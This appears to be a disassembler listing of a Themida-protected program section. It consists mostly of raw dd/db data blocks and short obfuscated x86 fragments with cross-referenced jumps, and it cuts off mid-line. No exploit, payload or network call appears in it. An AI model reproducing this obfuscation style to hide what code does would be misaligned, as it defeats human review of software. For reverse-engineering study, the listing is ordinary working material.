2CD35CFFh, 81E99C24h, 5AFFFF62h dd 2BA52h, 0D6010000h, 2434335Ah, 33243431h, 248B2434h dd 4D36624h, 61E99C24h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C4C7: ; CODE XREF: Themida_:0054E7B3j bswap eax jmp loc_543801 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF7A1Bh, 0B5AF281h, 0D329FEB9h, 1ADFE9h, 24048B00h dd 4C481h, 0E9470000h, 0FFFFDC6Dh, 84221505h, 0F92D595Ch dd 50A0232h, 3015D7Ch, 0C05A7B05h, 2DD80104h, 4C05A7Bh dd 4EC81h, 14890000h, 0E315E924h, 0C601FFFFh, 0DDBD5558h dd 17E0379h, 0C6815DEEh, 6D1B781Dh, 697CE957h, 0F742FFFFh dd 0CC281D2h, 1E71497h, 1C8B5AD0h, 4C48324h, 46EE9h, 3AE95D00h dd 80FFFF82h, 0FBE977C7h, 89000026h, 0B568243Ch, 89000032h dd 30E9240Ch, 8BFFFF96h, 8682414h, 89000012h, 0A1E92434h dd 89FFFFAEh, 0BF57241Ch, 4A2D6493h, 4244481h, 3A754E72h dd 4247C29h, 0D4AFE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C592: ; CODE XREF: Themida_:00544F1Cj add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push ebp jmp loc_54AD6B ; --------------------------------------------------------------------------- db 52h dd 24148B54h, 4C481h, 0B8500000h, 4, 0DBE9C201h, 0BFFFFFB0h dd 440B558Ah, 1027EF81h, 0E7C113A6h, 9F56E904h, 0C483FFFFh dd 4BA5204h, 1000000h, 0BD555AD6h, 4, 875DEE01h, 50E92434h dd 52000003h, 5EE9E289h, 29000006h, 2BE958C1h, 81FFFFD2h dd 4C1h, 240C8700h, 0FFB395E9h, 1C77FFFFh, 0D359669Dh dd 0E99C241Ch, 0FFFF60F8h, 158C389h, 27685BDEh, 0E9000032h dd 0FFFF690Fh, 0E9240489h, 0FFFFBD70h, 0F75BD901h, 0E41BE9D1h dd 0EFB7FFFFh, 5B66FA20h, 0FFEBCDE9h, 240C8BFFh, 0E904C483h dd 0FFFFAD2Eh, 271668h, 24248900h, 4240481h, 5D000000h dd 3AABB951h, 0E9C17A4Fh, 1BC98107h, 0F70FB022h, 5BE981D9h dd 0C130D511h, 0C18103E1h, 64E7ED4h, 5159CD01h, 0FF8A79E9h dd 5DEF31FFh, 1BF5E9h, 0E9F82900h, 1338h, 0EC81C331h, 4 db 89h, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ebx mov ebx, 4 sub ebp, 6F8E16B9h add ebp, ebx jmp loc_549361 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0FFBB8EE9h, 4C181FFh, 0E9000000h, 0FFFF8C53h dd 70E9FD88h, 0D2FFFF66h, 0E99C2424h, 0FFFF602Ch, 0D737BB53h dd 0DA0117F3h, 0B5F1E95Bh, 0EA89FFFFh, 0FFA3B0E9h, 50515CFFh dd 8CE9A2B0h, 66FFFF8Dh, 53B652h, 5A66F3h, 53EB80F3h, 8124148Bh dd 4C4h, 0C0B60F00h, 1A37E9h, 3D685B00h, 8900000Eh, 0FF68241Ch dd 0E90000FFh, 0FFFFE882h, 0E9E3EB80h, 0FFFFF484h, 38E9F801h dd 89000028h, 0DD295DEBh, 4EC835Bh, 53240489h, 0ED47B4BBh dd 81E96Bh, 77FF0000h, 58669D1Ch, 9C240410h, 0FF5FA7E9h dd 50DEF7FFh, 9E415468h, 540586Ah, 8C7CF19h, 0FFFD85E9h dd 0D00059FFh, 503E95Ah, 6BF0000h, 81003E22h, 0E4EB86C7h dd 5FFB214Ch, 7B04F381h, 0C38134A1h, 8B7F88BCh, 565BDE89h dd 4C240481h, 8B52DA28h, 0C481240Ch, 4, 284CE981h, 0CCE952DAh dd 83FFFFD0h, 0E95004C4h, 0FFFFE202h, 8F04C483h, 248B2404h dd 3CD36624h, 0B3E99C24h, 43FFFFCBh, 116CF381h, 0F381509Ah dd 47FF7128h, 0FFB343E9h, 0D5F75AFFh, 5AFBED81h, 0ED8174A1h dd 14A92819h, 505DEB29h, 784794B8h, 9B86E985h, 0C483FFFFh dd 242C8B04h, 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFF7302h dd 4BF57h, 0B9510000h, 3DE3E33h, 0D3E95649h, 89000025h dd 0E956243Ch, 0FFFFAAA7h, 8702C283h, 0FAE92414h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C863: ; CODE XREF: Themida_:005446D8j sub edx, eax pop eax xchg edx, [esp] pop esp mov [esp], eax jmp loc_542728 ; --------------------------------------------------------------------------- dw 0C581h dd 4D672531h, 0FF9F86E9h, 4EB805FFh, 0C22D7F5Bh, 0E951AB49h dd 0FFFFB360h, 83E9D3F7h, 57FFFFF8h, 4BFh, 0E9F80100h dd 0FFFF7F88h, 0A4196ABFh, 1C31E917h, 0A1BE0000h, 29AC5988h dd 0E6C159CEh, 9AE68102h, 0F74D250Bh, 0A916E9D6h, 0E9C1FFFFh dd 3E1C108h, 0EACE9h, 72EA8000h, 0FEFBCA80h, 5BC280CAh dd 80C9E280h, 0D0884CC2h, 0E9C0FE5Ah, 0FFFFDB4Ch, 6D45E952h dd 0C781FFFFh, 4, 4C781h, 3C870000h, 1055C24h, 29642352h dd 7F4E9C8h, 0B8500000h, 607DEBh, 0DB34E953h, 0DE9FFFFh dd 8BFFFF5Eh, 0C483241Ch, 4C38104h, 81000000h, 4ECh, 240C8900h dd 2B9h, 6150E900h, 8B66FFFFh, 1E92404h, 35FFFFC8h, 0B55595B6h dd 5658C589h, 6AE9EE89h, 8BFFFF5Eh, 4FF2424h, 0C9E99C24h dd 45FFFF5Dh, 1D1BF581h, 0E9291299h, 240C875Dh, 0FFA6FEE9h dd 0F9B151FFh, 80F9C980h, 0E98052E1h, 7FC98076h, 0FF9F46E9h dd 1B6855FFh, 0E93D440Ch, 21A4h, 582434FFh, 81E78957h dd 4C7h, 4C78100h, 87000000h, 525C243Ch, 0BD55E289h, 4 dd 0D7E9EA01h, 2DFFFF67h, 4, 31240433h, 31E92404h, 89000001h dd 4C681E6h, 52000000h, 4BAh, 5AD62900h, 5C243487h, 0FF241489h dd 0FF042474h, 0CCE92434h, 3100000Fh, 58042444h, 0EC83008Fh dd 240C8904h, 0B9h, 0D5E98100h, 0E963E07Ah, 0FFFFE9F4h dd 4246C81h, 21B25F30h, 0FFBD73E9h, 4CE9ADFFh, 66FFFFF4h dd 5624048Bh, 6E9E689h, 68FFFFE6h, 579h, 0BB241C89h, 29A02A83h dd 0E381E3D1h, 722963EDh, 0E905E3C1h, 0FFFF5FB2h, 0E9BEC280h dd 0FFFF724Ah, 4B850h, 0E9810000h, 30F71AE7h, 7E94C181h dd 0EE940E3h, 59FFFFD5h, 0E9515266h, 0FFFFCD5Fh, 4314D05h dd 4204051Dh, 0D80122F6h, 0F642042Dh, 314D2D22h, 0EAE91D04h dd 53FFFF71h, 0CFFE47B7h, 0FFD016E9h, 16B850FFh, 355C4F22h dd 6B1A568Ch, 832D1F2Dh, 12A40D3Ch, 62E95725h, 81FFFF9Eh dd 4C4h, 4C78100h, 50000000h, 4B8h, 58C72900h, 0FF9874E9h dd 4C481FFh, 0E9000000h, 0FFFFF359h, 7551BF57h, 0E95260F5h dd 0FFFFD156h, 28F2C380h, 0F2EB80C3h, 808DB151h, 0EE9E4E1h dd 5EFFFF74h, 0E9240C87h, 0FFFFC5E9h, 5C240433h, 0E9240C89h dd 0FFFF5C24h ; --------------------------------------------------------------------------- loc_54CB04: ; CODE XREF: Themida_:00544D60j pop esp push esi mov esi, 16CA5494h push ebp mov ebp, 2E585020h neg ebp neg ebp xor ebp, 12AD42F4h add esi, ebp pop ebp push ebp jmp loc_548A30 ; --------------------------------------------------------------------------- aH6 db '[h6=',0 align 2 dw 1489h dd 15A5F24h, 243C8BF8h, 4C481h, 0C3310000h, 2B54B951h dd 0CA297A10h, 0DB1E9h db 0 ; --------------------------------------------------------------------------- loc_54CB49: ; CODE XREF: Themida_:00549C4Ej add esi, 20836401h jmp loc_542D07 ; --------------------------------------------------------------------------- dd 8247429h, 0FFF35BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB5D: ; CODE XREF: Themida_:0054676Aj xor [esp], ebx xor ebx, [esp] jmp loc_545DB3 ; --------------------------------------------------------------------------- dd 0E9E08950h, 0FFFF6CDAh, 0C681DE01h, 178C3FA3h, 4C6815Bh dd 0E9000000h, 0FFFF71B7h, 5C24048Fh, 4EC81h, 14890000h dd 0EFDBA24h, 0D2F74C08h, 14F7524Ah, 0C2815A24h, 1, 0C6EE9h dd 0C2815D00h, 2, 31241433h, 0C7E92414h, 68FFFFF6h, 5C4C2184h dd 0FFF095E9h, 0FC330FFh, 34FFC0B6h, 5D5AE987h, 0EF81FFFFh dd 1F4AE2E0h, 15FFA29h, 0C8B951FAh, 0F72DFC33h, 56F181D1h dd 0F7622606h, 9AC181D9h, 10F0100h, 0AEC5E9CAh, 815DFFFFh dd 4ECh, 242C8900h, 0E889DD89h, 5D2434FFh, 81E18951h, 4C1h dd 9DC5E900h, 0EF81FFFFh, 78107926h, 5C8CE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC26: ; CODE XREF: Themida_:00544C00j mov ebp, esi jmp loc_548D2F ; --------------------------------------------------------------------------- loc_54CC2D: ; CODE XREF: Themida_:0054D01Dj push ecx mov cl, 7Bh jmp loc_543895 ; --------------------------------------------------------------------------- db 89h, 0EBh, 5Dh dd 0FFFA0BE9h, 4EF81FFh, 87000000h, 895C243Ch, 0E9522404h dd 0FFFFF5C6h, 0A603E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC56: ; CODE XREF: Themida_:00549036j push ecx mov ecx, 218D74BCh mov eax, ecx jmp loc_547BE6 ; --------------------------------------------------------------------------- db 5Ah dd 0FFFD9FE9h, 4BE56FFh, 1000000h, 0C2815EF2h, 4, 5C241487h dd 4C281h, 0B9510000h, 4, 1182E9h, 25E95C00h, 29FFFFCEh dd 0BE95FFBh, 55FFFF7Fh, 0FFC83BE9h, 6FB252FFh, 2C5AD020h dd 58C5307Bh, 6601C580h, 7376E950h, 5854FFFFh, 7414BF57h dd 0D7F7296Fh, 7510B850h, 53403650h, 96244DBBh, 0CB814339h dd 5BAC4D77h, 0D562C381h, 54E9FC9Fh, 81000015h, 69101FCFh dd 0E2B8503Dh, 31133754h, 0F78158C7h, 0CEA54CFh, 0DEE9FB29h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCFB: ; CODE XREF: Themida_:0054DEFBj pop ebp add edi, 2 push 39AAh mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_543D33 ; --------------------------------------------------------------------------- dd 0A3E9F931h, 66FFFF88h, 6602B60Fh, 66628568h, 0E9240489h dd 0FFFF59FCh, 3BE9DCF6h, 0FFFFFFCBh, 0E9592434h, 0FFFFAD38h dd 0E904EE83h, 14D2h, 0E043DBBDh, 78E95650h, 81FFFFC3h dd 7F5EF8F5h, 0EB895340h, 9BE9DA89h, 81FFFFC6h, 59C0E9F3h dd 5BDA8931h, 27BAC281h, 0FA013111h, 27BAEA81h, 32FF3111h dd 66B6BB53h, 5C3111F3h, 20E90424h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54D440 ; --------------------------------------------------------------------------- db 57h, 0BFh, 8Fh dd 0F7790D34h, 0E0EF81DFh, 298250ABh, 0F3815FFBh, 3567F23h dd 0FEDE9h, 0E9525B00h, 0FFFFD235h, 24048B66h, 441368h dd 24348900h, 0BD1EE954h, 5153FFFFh, 0C5FE2CB5h, 0FFE37AE9h dd 68D830FFh, 7F92h, 0B5240C89h, 4EC819Bh, 89000000h, 60B02404h dd 0E0D0C8FEh, 0E8C06F2Ch, 804A2C02h, 0ED806CEDh, 80C528ACh dd 0C580ACC5h, 0E830586Ch, 0FF2434FFh, 3E92434h, 0F7FFFFB6h dd 92CA81D2h, 81041A4Ch, 0B340EF2h, 0E9EA8133h, 4208FF5Eh dd 4DD2F281h, 0D389B2DAh, 57D3F75Ah, 830D57BFh, 659CE96Eh dd 34FFFFFFh, 24048B24h, 81E18951h, 4C1h, 4E98300h, 0FF7891E9h dd 0CFBF57FFh, 8109396Eh, 0A4645AE7h, 0EDCF8179h, 8140B616h dd 0C3766BE7h, 0AEEF814Ch, 892CB73Eh, 0F5E95FF8h, 0ACFFFF70h dd 0B252D830h, 2E2C062h, 0C911E950h, 3C8BFFFFh, 4C48324h dd 3C5BBD55h, 0ED811073h, 5BDE3BCFh, 0FF7957E9h, 2EA83FFh dd 1E33E9h db 0 ; --------------------------------------------------------------------------- loc_54CEA9: ; CODE XREF: Themida_:00543328j pop esp mov dx, [esp] push 3645h jmp loc_549DBF ; --------------------------------------------------------------------------- dd offset dword_50C448+620h dd 24348900h, 2F71BA52h, 8FBE648Eh, 819B75D0h, 0B774A3EEh dd 81D60124h, 0B774A3C6h, 24148B24h, 2104C483h, 2434FFF0h dd 0E924348Bh, 0FFFFF8EBh, 68h, 240C2900h, 8E1C159h, 0FFA076E9h dd 0BB5350FFh, 420932E0h, 8472A3B8h, 0E9D83120h, 0FFFFA409h dd 335EF001h, 14E92404h, 8BFFFF5Ch, 0C2092424h, 0CC68E2D1h dd 8900002Dh, 8357240Ch, 348904ECh, 71BE24h, 0D1682B36h dd 0E9000030h, 0FFFF5E8Dh, 28B6664h, 0FFF672E9h, 4BEFFh dd 0F3010000h, 0FF9EBEE9h, 8BCE89FFh, 0C483240Ch, 5EF50104h dd 31242C33h, 2C33242Ch, 24248B24h, 0E99CC138h, 0FFFF57B4h ; --------------------------------------------------------------------------- loc_54CF74: ; CODE XREF: Themida_:0054ABCAj push dword ptr [esp] pop eax push 0CE6h mov [esp], edi push 21A4h mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_54B339 ; --------------------------------------------------------------------------- dw 0E981h dd 0EA48DEABh, 0FFE29EE9h, 348B5EFFh, 4C48324h, 4A1968h dd 24148900h, 6D373068h, 0BC2D5A19h, 510BD445h, 7C2419B9h dd 0C7F1811Ch, 81072868h, 0E159CDC1h, 0FFE98113h, 49FFFFFFh dd 114FF181h, 0BD551B7Ah, 4F961263h, 0B4C8F581h, 0E9316A3Bh dd 0E9C8015Dh, 0FFFF6597h, 0FF5737E9h, 0C1DBF7FFh, 0B95102E3h dd 5B5B12A6h, 8103E1C1h, 0FFFFFFC1h, 0EC8349FFh, 240C8904h dd 0FFEC34E9h, 240C89FFh, 0FFD06AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D019: ; CODE XREF: Themida_:0054894Ej pop bx push bx jmp loc_54CC2D ; --------------------------------------------------------------------------- dw 0EDC1h dd 0FDB95104h, 0E9FEC3AFh, 0FFFFAFD7h, 128568h, 24048900h dd 24048153h, 62477547h, 75472D58h, 0FE96247h, 5AFFFF93h dd 5B2434FFh, 4C481h, 0EC830000h, 14896602h, 8F69E924h dd 0C89FFFFh, 0E9D5B524h, 0FFFFDB83h, 6EA668h, 37DE900h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push dword ptr [esp+4] jmp loc_54BEAE ; --------------------------------------------------------------------------- db 0E9h, 8Eh, 56h dd 0EC81FFFFh, 4, 0BF243C89h, 1, 3C8BF821h, 0BBCDE924h dd 0EA81FFFFh, 2F5602BAh, 0FF8EC4E9h, 4C481FFh, 0E9000000h dd 0C49h ; --------------------------------------------------------------------------- loc_54D0C8: ; CODE XREF: Themida_:00548476j inc ebp jmp loc_54B3C6 ; --------------------------------------------------------------------------- dw 0BE56h dd 1EA06888h, 0FF89FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D0D9: ; CODE XREF: Themida_:00549F25j mov edi, 6ACA6498h add esi, edi pop edi xor eax, esi jmp loc_54A6FE ; --------------------------------------------------------------------------- dd 0E9243C8Bh, 0FFFF8881h ; --------------------------------------------------------------------------- loc_54D0F0: ; CODE XREF: Themida_:0054432Ej add esp, 4 add bl, cl pop ecx movzx eax, al jmp loc_547CBE ; --------------------------------------------------------------------------- dw 12Dh dd 0FF642352h, 0C8B2434h, 4C48324h, 4C481h, 0EC810000h dd 4, 0E9241489h, 0FFFF6DB1h, 1244CFEh, 0EDC05966h, 8FCD8003h dd 0E91BB050h, 0FFFFBDE0h ; --------------------------------------------------------------------------- loc_54D134: ; CODE XREF: Themida_:0054A710j sub ebx, edi sub ebx, 13512EFDh mov edi, [esp] push esi jmp loc_54DF9E ; --------------------------------------------------------------------------- db 1, 0C1h, 58h dd 31240C33h, 0C33240Ch, 24248B24h, 2424D366h, 55CAE99Ch dd 433FFFFh, 9E2EE924h, 1BEFFFFh, 21000000h, 8745E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D172: ; CODE XREF: Themida_:0054B3D4j push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push 3A10h mov [esp], edi sub esp, 4 mov [esp], eax jmp loc_546730 ; --------------------------------------------------------------------------- loc_54D197: ; CODE XREF: Themida_:0054389Cj mov cx, [esp] jmp loc_547915 ; --------------------------------------------------------------------------- loc_54D1A0: ; CODE XREF: Themida_:00546409j push esi push 7423h mov [esp], edx push 78B27ECAh pop edx or edx, 6982695Dh not edx xor edx, 8CC2CFCFh mov esi, edx jmp loc_549C45 ; --------------------------------------------------------------------------- dd 24048B66h, 5B868h, 240C8900h, 0FFD346E9h, 81F701FFh dd 0DB1613EFh, 0E9565E6Fh, 0FFFFD05Fh, 2BE9E589h, 53FFFFACh dd 0BE2B9BBBh, 0D54AE977h, 2B9FFFFh, 81000000h, 1B72DBC5h dd 5D76E976h, 0E950FFFFh, 0FFFFD45Fh, 99F9E958h, 0C209FFFFh dd 77FFE2D1h, 4FE95524h, 50FFFFE2h, 0FFD136E9h, 2477FFFFh dd 556268h, 242C8900h, 0FF5C6FE9h, 0D96858FFh, 89000040h dd 2AE9242Ch, 81FFFFF0h, 4C7h, 243C8700h, 6C73685Ch, 4890000h dd 32316824h, 13E90000h, 81FFFF66h, 4ECh, 24248900h, 69C468h dd 242C8900h, 0A6B95157h, 892FEF2Dh, 0C689E9CFh, 3C89FFFFh dd 393BBF24h, 0C7814DA5h, 0EADD1291h, 3C8BF929h, 4C48124h dd 81000000h, 3D3A3DF1h, 59CE01D2h, 0FF8CA4E9h, 4EC81FFh dd 89000000h, 2C81242Ch, 0EA39BC24h, 243C8B52h, 4C481h dd 0C7810000h, 52EA39BCh, 0FFEE13E9h, 545AE9FFh, 525AFFFFh dd 15E91FB2h, 6600000Eh, 66242C31h, 66242C33h, 66242C31h dd 0E9304468h, 0FFFFC09Ch, 4240483h, 0E924148Bh, 0FFFFC2ADh dd 0E95EF501h, 0FFFFF791h ; --------------------------------------------------------------------------- loc_54D300: ; CODE XREF: Themida_:00546E55j sub ebx, edi add ebx, 79365BE9h pop edi sub ebx, eax add ebx, 194F39FCh add ebx, 322E3820h mov dx, [esp] jmp loc_549B12 ; --------------------------------------------------------------------------- dd 4C681h, 34330000h, 24343124h, 1834E9h, 241C8700h, 0FC0095Ch dd 0FF978584h, 0E18951FFh, 4C181h, 0E9560000h, 0FFFFEA20h dd 37E957ADh, 5DFFFFD8h, 27A1685Eh, 2C890000h, 4BF5724h dd 89000000h, 0EA015FFDh, 2414875Dh, 3CCF685Ch, 3C890000h dd 462CBF24h, 0F8292FF3h, 0E9C0095Fh, 0FFFFDBE3h, 0C681E689h dd 4, 4BD55h, 0EE010000h, 2434335Dh, 0E9243431h, 1492h dd 0B492ED81h, 0EB092CF2h, 81242C8Bh, 4ECh, 24148900h dd 0C281E289h, 4, 8704C283h, 0F75C2414h, 0B9F381D3h, 4341AC1Dh dd 8108EBC1h, 6E7E8CC3h, 44010560h, 96E9125Bh, 81FFFFDEh dd 975947EBh, 0EB815E09h, 7FA5491h, 35E9C231h, 89FFFF53h dd 0EC812414h, 4, 0E9242489h, 0FFFFBDB7h, 5E08950h, 4 dd 8704E883h, 43E92404h, 66FFFFCCh, 0E933CC68h, 0FFFF551Eh dd 8904EC83h, 4812424h, 424h, 79685800h, 89000022h, 4BB241Ch dd 0E9000000h, 0FFFFF62Ch ; --------------------------------------------------------------------------- loc_54D440: ; CODE XREF: Themida_:0054CD90j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_547345 ; --------------------------------------------------------------------------- db 51h, 0B9h, 11h dd 81619763h, 2270F8F1h, 50D1F74Ch, 526FC8B8h, 0F199E9C0h dd 1433FFFFh, 892EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D47A: ; CODE XREF: Themida_:0054BE92j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_542728 ; --------------------------------------------------------------------------- db 81h dd 5D0084CBh, 0F1684344h, 0E9000075h, 1A18h, 93E9E831h dd 59FFFF53h, 0CC91A92Dh, 1BC58132h, 1041B48h, 0C3BF57C5h dd 814BA842h, 8CFAA8EFh, 5FFD2947h, 5124048Bh, 0C181E189h dd 4, 8704C183h, 215C240Ch, 0F8E95DE8h, 8FFFFF75h, 5242E902h dd 248BFFFFh, 5EE6E924h, 895CFFFFh, 5A542414h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 0B8240489h, 4, 48BC201h dd 4C48324h, 2BB53h, 0DA010000h, 81241C8Bh, 4C4h, 24148700h dd 0D224248Bh, 0E99C240Ch, 0FFFF51F4h, 42Dh, 1809E900h dd 81550000h, 4ECh, 24248900h, 1425E9h, 0E9E72800h, 0FFFF5669h dd 6E2C14Ah, 884C281h, 70E9158Fh, 81000010h, 96C75FEAh dd 8BD301ECh, 0C4832414h, 0B71BE904h, 0DFBBFFFFh, 8151846Eh dd 53CE8BEBh, 0E9DF29AAh, 0FFFFB583h, 7B4E40BDh, 0A0F5814Dh dd 0C17D8D07h, 0D5F703E5h, 6BE9BE56h, 0C6811F2Ch, 7CDE263Ah dd 4E74CE81h, 0C6810943h, 9FE52E69h, 555EF529h, 5D240CFFh dd 4139BF57h, 0C7813B95h, 1, 62E2C781h, 0FD29FF87h, 955E9h dd 242C8100h, 4D664C97h, 0FF8805E9h, 2838B9FFh, 0C36838B6h dd 0E927B0CBh, 0FFFF6739h, 2BAAEA81h, 0E958521Ah, 0FFFF989Eh dd 8124048Bh, 4C4h, 76ADE900h, 0B850FFFFh, 0A860DF8h, 5F42072Dh dd 5E8C129h, 0E0C1D8F7h, 6E8C107h, 17B9E9h db 0 ; --------------------------------------------------------------------------- loc_54D621: ; CODE XREF: Themida_:0054E16Bj mov [esp], edx jmp loc_5439B1 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0A6h dd 810B1C29h, 0AF47FAC5h, 9FB8500Dh, 0E9252979h, 0FFFF87DDh dd 63C7BF57h, 0E7C14D02h, 0F7DFF703h, 7D96E9D7h, 0CA31FFFFh dd 0C2814A59h, 0C8E35D1h, 8859C281h, 0D001D63Fh, 5A2434FFh dd 0D89E9h, 66F18000h, 529AE980h, 0E980CCB2h, 80D1000Ah dd 685A0AC1h, 162Fh, 0FF5F70E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D689: ; CODE XREF: Themida_:00545155j sub [esp+8], ecx mov ecx, [esp] jmp loc_546135 ; --------------------------------------------------------------------------- db 0E9h, 0BFh, 17h dd 0F9310000h, 0FFA027E9h, 535159FFh, 0CF8017B7h, 5CF65312h dd 0DDE90124h, 33FFFFD8h, 34312434h, 0D53AE924h, 34FFFFFFh dd 0A0E95B24h, 31FFFF99h, 31C531E8h, 0F9C8E9E8h, 48FFFFFh dd 2C315024h, 73DDE924h, 0EE80FFFFh, 80CEFE89h, 0FAE9BAEEh dd 66FFFF75h, 6824048Bh, 787Ah, 0E9243C89h, 0FFFF77B0h dd 52240C8Bh, 0F6E9E289h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D707: ; CODE XREF: Themida_:00548754j mov esi, 4 sub ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_54C2EA ; --------------------------------------------------------------------------- db 81h, 0EAh, 0F1h dd 12B5F02h, 0F1C281F2h, 8B2B5F02h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_54C341 ; --------------------------------------------------------------------------- db 81h, 0EEh, 79h dd 8136EE3Eh, 411082C6h, 81D6011Ah, 411082EEh, 79C6811Ah dd 8B36EE3Eh, 41E92414h, 52FFFF54h, 0A3F26BAh, 0CA814A04h dd 9E81174h, 0C921C281h, 0D50908FBh, 0FFF08CE9h, 81D1F7FFh dd 310FE0C1h, 59CD894Ch, 1CADE581h, 0F5815E0Fh, 535D3D07h dd 0FFDB99E9h, 33E958FFh, 80FFFF81h, 0E9529CC4h, 0FFFFC869h dd 5B66DC00h, 0EC80F428h, 0E3305AD0h, 0FF53E5E9h, 5AD009FFh dd 24E0B735h, 5D1CE9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7C2: ; CODE XREF: Themida_:0054496Fj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax push 9DFh mov [esp], esp add dword ptr [esp], 4 pop eax push 0AE9h mov [esp], ebx jmp loc_547BD0 ; --------------------------------------------------------------------------- dd offset dword_589B68 align 2 dw 0C89h db '$h¼(',0 align 2 dw 68E9h dd 0FEFFFF5Ch, 0F0F380CBh, 34FFD828h, 90C7E924h, 665CFFFFh dd 11E930FFh, 4AFFFF4Fh, 4C07CA81h, 0B85056B4h, 484B0A32h dd 0FF8189E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D829: ; CODE XREF: Themida_:0054900Cj add esp, 4 jmp loc_54842F ; --------------------------------------------------------------------------- db 0D1h, 0E0h, 35h dd 60C1FF9Bh, 0FFEDF3E9h, 0CD015DFFh, 242C8759h, 2404335Ch dd 33240431h, 248B2404h, 0B46AE924h, 0C801FFFFh, 3078CB05h dd 240C8B49h, 8104C483h, 3C76E2C3h, 0D9BF5712h, 1743F6Ah dd 50E95FFBh, 89FFFFC4h, 0FF5F240Ch, 0C8B2434h, 4C48324h dd 5504C483h, 0B0765FBDh, 8F35E956h, 48BFFFFh, 0EF88E924h dd 5155FFFFh, 0D9590BB9h, 0F01CE91Fh, 0D601FFFFh, 4BF575Ah dd 81000000h, 80214EEh, 0E5DE95Ch, 4890000h, 860FE924h dd 814FFFFFh, 0D84555F7h, 15F78171h, 0E98CAD31h, 0FFFFEB89h dd 8B240C87h, 8952240Ch, 4C281E2h, 81000000h, 4C2h, 24148700h dd 6E3FE95Ch, 0C083FFFFh, 0BE50E904h, 8159FFFFh, 0FE0233C2h dd 59EA8164h, 11E116Bh, 59C281C2h, 811E116Bh, 0FE0233EAh dd 7E7A6864h, 2C890000h, 9E90E924h, 95CFFFFh, 51E2D1C2h dd 0C9258DB9h, 0F2E95161h, 0DFFFFE2h, 4EA11292h, 0FFBD25E9h dd 0A3E95BFFh, 0ADFFFFBBh, 0FF8758E9h, 5BD829FFh, 8B240487h dd 1C892424h, 0E9E38924h, 0FFFF62CDh, 33243431h, 0D35C2434h dd 0E99C2404h, 0FFFF4DBCh, 2404005Ch, 0EFA0E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D976: ; CODE XREF: Themida_:0054E7DDj push ecx push eax push dx mov dh, 47h jmp loc_543256 ; --------------------------------------------------------------------------- db 0BDh, 65h, 31h dd 0F5817D15h, 0E341D42h, 0FF55DDE9h, 2E2C1FFh, 0BE14BD55h dd 0EA311904h, 8BD1215Dh, 89512414h, 0ED37E9E1h, 0E189FFFFh dd 4C181h, 1FE90000h, 8BFFFFEDh, 0C4812414h, 4, 4C481h dd 73E90000h, 89FFFF95h, 0E589242Ch, 4A6EBE56h, 0FE875157h dd 0FFDCCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D9DD: ; CODE XREF: Themida_:00543097j sub esp, 4 jmp loc_543141 ; --------------------------------------------------------------------------- dd 666BBA2Dh, 0AE2D5F24h, 2938F03Eh, 3EAE05D8h, 4E6838F0h dd 89000068h, 14E92434h, 53FFFF67h, 0FF67C5E9h, 2474FFFFh dd 48F5A04h, 24248B24h, 0E9240C89h, 0FFFFB577h, 0E9241489h dd 0FFFF62BEh ; --------------------------------------------------------------------------- loc_54DA28: ; CODE XREF: Themida_:0054C168j push esi push esp pop esi add esi, 4 jmp loc_54E309 ; --------------------------------------------------------------------------- dw 0B82Dh dd 527F5B4Eh, 0BAh, 25EA8100h, 13E5557h, 25C281C2h, 0E93E5557h dd 0FFFFB6A3h, 1D63BF66h, 8BFA8966h, 0C481243Ch, 4, 66D02966h dd 0C189665Ah, 0F1296658h, 8324348Bh, 2D6604C4h, 166064Ch dd 4C0566C8h, 0C8B6606h, 2C48124h, 66000000h, 66421E68h dd 68243C89h, 1977h, 0E9243489h, 0FFFFE458h, 0E9243489h dd 14Eh, 4B850h, 0C3010000h, 0FFD068E9h, 7B840FFFh, 0FFFFFF52h dd 40E91C77h, 88FFFF55h, 1CE952D5h, 59FFFFE5h, 5702C083h dd 243C8B54h, 4C481h, 0C7810000h, 4, 4EF81h, 0E0E90000h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DAEB: ; CODE XREF: Themida_:005469BAj add eax, edi pop edi jmp loc_54A429 ; --------------------------------------------------------------------------- loc_54DAF3: ; CODE 